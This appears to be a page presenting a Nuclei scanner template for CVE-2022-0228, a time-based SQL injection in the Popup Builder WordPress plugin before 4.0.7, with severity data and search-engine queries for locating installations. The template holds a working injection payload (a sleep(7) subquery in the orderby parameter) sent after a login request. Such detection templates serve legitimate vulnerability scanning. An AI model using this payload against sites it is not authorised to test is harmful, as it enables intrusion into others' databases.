Popup Builder < 4.0.7 - SQL Injection

ID: CVE-2022-0228

Severity: high

Author: r3Y3r53

Tags: time-based-sqli,cve2022,cve,wordpress,wp-plugin,wp,wpscan,popup-builder,sygnoos,sqli

Description

The Popup Builder WordPress plugin before 4.0.7 does not validate and properly escape the orderby and order parameters before using them in a SQL statement in the admin dashboard, which could allow high privilege users to perform SQL injection.

YAML Source

id: CVE-2022-0228

info:
  name: Popup Builder < 4.0.7 - SQL Injection
  author: r3Y3r53
  severity: high
  description: |
    The Popup Builder WordPress plugin before 4.0.7 does not validate and properly escape the orderby and order parameters before using them in a SQL statement in the admin dashboard, which could allow high privilege users to perform SQL injection.
  remediation: update to v.4.0.7
  reference:
    - https://wpscan.com/vulnerability/22facac2-52f4-4e5f-be59-1d2934b260d9
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0228
    - https://plugins.trac.wordpress.org/changeset/2659117
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2022-0228
    cwe-id: CWE-89
    epss-score: 0.03069
    epss-percentile: 0.91002
    cpe: cpe:2.3:a:sygnoos:popup_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: sygnoos
    product: popup_builder
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/popup-builder/
    fofa-query: body=/wp-content/plugins/popup-builder/
    publicwww-query: /wp-content/plugins/popup-builder/
  tags: time-based-sqli,cve2022,cve,wordpress,wp-plugin,wp,wpscan,popup-builder,sygnoos,sqli

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 15s
        GET /wp-admin/admin-post.php?action=csv_file&orderby=email%2c(select+*+from(select(sleep(7)))b)&order=desc HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=7'
          - 'status_code_2 == 200'
          - 'contains_all(body_2, "first name", "last name", "email")'
          - 'contains(content_type_2, "application/octet-stream")'
        condition: and
# digest: 4b0a00483046022100ef3fb77eb1a64b8696587d6a269ef7c0582faf47d85ecf16141ed83ba6d49a19022100fdcc912bc64d58bec354bb74d0408c4ce8e454dc98298c8507a59ae8965e4322:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0228.yaml"

View on Github